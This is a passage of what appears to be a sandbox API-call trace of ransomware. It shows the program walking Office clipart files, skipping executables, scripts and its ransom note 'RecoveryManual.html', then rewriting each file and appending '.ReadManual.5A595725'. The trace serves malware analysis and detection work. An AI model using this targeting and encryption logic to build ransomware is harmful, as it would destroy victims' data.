psz2="fon") returned 1 [0267.626] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.626] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" [0267.626] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.ReadManual.5A595725" [0267.626] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.ReadManual.5A595725") returned 87 [0267.626] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38829471415) returned 1 [0267.626] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf")) returned 0x20 [0267.626] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.626] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33824) returned 1 [0267.626] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8420, lpName=0x0) returned 0x184 [0267.627] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.627] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.627] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.630] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.630] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8420) returned 0x2f0000 [0267.633] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.633] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38830157493) returned 1 [0267.633] CloseHandle (hObject=0x184) returned 1 [0267.633] SetSecurityInfo () returned 0x57 [0267.633] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.633] CloseHandle (hObject=0x194) returned 1 [0267.633] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1 [0267.633] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185800.WMF" | out: lpString1="J0185800.WMF") returned="J0185800.WMF" [0267.633] lstrcmpiW (lpString1="J0185800.WMF", lpString2="RecoveryManual.html") returned -1 [0267.633] StrStrIW (lpFirst="J0185800.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.633] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.633] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.633] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.633] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.633] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.633] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.633] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.633] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.633] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.634] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.634] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.634] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.634] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.634] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.634] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" [0267.634] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.ReadManual.5A595725" [0267.634] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.ReadManual.5A595725") returned 87 [0267.634] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38830251587) returned 1 [0267.634] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf")) returned 0x20 [0267.636] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.637] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24238) returned 1 [0267.637] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5eae, lpName=0x0) returned 0x184 [0267.637] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.638] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.638] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.640] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.640] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5eae) returned 0x2f0000 [0267.640] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.640] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38830909374) returned 1 [0267.640] CloseHandle (hObject=0x184) returned 1 [0267.640] SetSecurityInfo () returned 0x57 [0267.641] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.641] CloseHandle (hObject=0x194) returned 1 [0267.641] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1 [0267.641] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185806.WMF" | out: lpString1="J0185806.WMF") returned="J0185806.WMF" [0267.641] lstrcmpiW (lpString1="J0185806.WMF", lpString2="RecoveryManual.html") returned -1 [0267.641] StrStrIW (lpFirst="J0185806.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.641] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.641] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.641] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" [0267.641] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.ReadManual.5A595725" [0267.641] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF.ReadManual.5A595725") returned 87 [0267.641] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38831005756) returned 1 [0267.641] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf")) returned 0x20 [0267.641] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185806.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185806.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.642] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30522) returned 1 [0267.642] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x773a, lpName=0x0) returned 0x184 [0267.642] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.643] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.643] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.645] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.645] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x773a) returned 0x2f0000 [0267.645] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.645] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38831409197) returned 1 [0267.645] CloseHandle (hObject=0x184) returned 1 [0267.645] SetSecurityInfo () returned 0x57 [0267.646] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.646] CloseHandle (hObject=0x194) returned 1 [0267.646] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1 [0267.646] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185818.WMF" | out: lpString1="J0185818.WMF") returned="J0185818.WMF" [0267.646] lstrcmpiW (lpString1="J0185818.WMF", lpString2="RecoveryManual.html") returned -1 [0267.646] StrStrIW (lpFirst="J0185818.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.646] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.646] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.646] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" [0267.646] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.ReadManual.5A595725" [0267.646] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.ReadManual.5A595725") returned 87 [0267.646] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38831503532) returned 1 [0267.646] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf")) returned 0x20 [0267.646] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.647] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=35726) returned 1 [0267.647] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b8e, lpName=0x0) returned 0x184 [0267.647] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.648] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.648] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.650] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.650] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b8e) returned 0x2f0000 [0267.651] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.651] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38832012825) returned 1 [0267.651] CloseHandle (hObject=0x184) returned 1 [0267.651] SetSecurityInfo () returned 0x57 [0267.652] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.652] CloseHandle (hObject=0x194) returned 1 [0267.652] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1 [0267.652] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185828.WMF" | out: lpString1="J0185828.WMF") returned="J0185828.WMF" [0267.652] lstrcmpiW (lpString1="J0185828.WMF", lpString2="RecoveryManual.html") returned -1 [0267.652] StrStrIW (lpFirst="J0185828.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.652] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.652] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.652] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" [0267.652] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.ReadManual.5A595725" [0267.652] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.ReadManual.5A595725") returned 87 [0267.652] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38832112243) returned 1 [0267.652] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf")) returned 0x20 [0267.653] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.653] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7796) returned 1 [0267.653] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e74, lpName=0x0) returned 0x184 [0267.653] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.659] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.659] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.662] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.663] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e74) returned 0x2f0000 [0267.663] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.663] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38833163178) returned 1 [0267.663] CloseHandle (hObject=0x184) returned 1 [0267.663] SetSecurityInfo () returned 0x57 [0267.663] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.663] CloseHandle (hObject=0x194) returned 1 [0267.663] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1 [0267.663] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185834.WMF" | out: lpString1="J0185834.WMF") returned="J0185834.WMF" [0267.663] lstrcmpiW (lpString1="J0185834.WMF", lpString2="RecoveryManual.html") returned -1 [0267.663] StrStrIW (lpFirst="J0185834.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.663] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.663] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.663] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.663] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.663] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.663] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.663] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.664] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.664] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.664] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.664] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.664] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.664] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.664] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.664] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" [0267.664] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.ReadManual.5A595725" [0267.664] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.ReadManual.5A595725") returned 87 [0267.664] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38833262275) returned 1 [0267.664] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf")) returned 0x20 [0267.665] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.665] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: 